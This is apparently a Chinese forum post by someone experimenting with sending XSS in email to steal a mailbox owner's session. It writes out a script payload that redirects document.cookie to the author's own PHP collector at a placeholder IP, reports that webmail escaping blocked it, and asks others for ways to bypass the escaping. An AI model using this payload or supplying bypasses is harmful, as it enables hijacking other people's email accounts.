如题,最近在研究 Xss 攻击,然后突然想到这个问题 “如何实现发送一封包含script脚本的邮件,并由它获取邮箱主人的Session ? ”。如果真的能做到这点,那必将在互联网刮起一场安全风暴。
有了想法就很想去实践一下 ,这就是计算机人员的好奇心在作怪
1.尝试网页邮箱
* 先在本机编写一个小php (vole.php )文件来接受发送过来Session等信息,并保存在文件中
*准备工作完成后给某个邮箱发送包含script的邮件
邮件内容如下:
<script>document.location = “http://X.X.X.X/vole.php?val=”+document.cookie;</script>
/*四个X为自己主机IP地址*/
*然后用浏览器查看这封邮件,看看浏览器会不会加载这份邮件中的script.
结果也失败告终,查看页面源代码发现 < 和 > 这两个字符被邮箱服务器换成了 < et > ,HTML的转义符
曾试着找其他技术避免被替换却未果,如果有牛人知道解决方法,小弟立即跪求方法
2.尝试桌面邮箱软件
结果还是以失败告终
小弟发表此文希望能得到牛人们的指点,先谢过了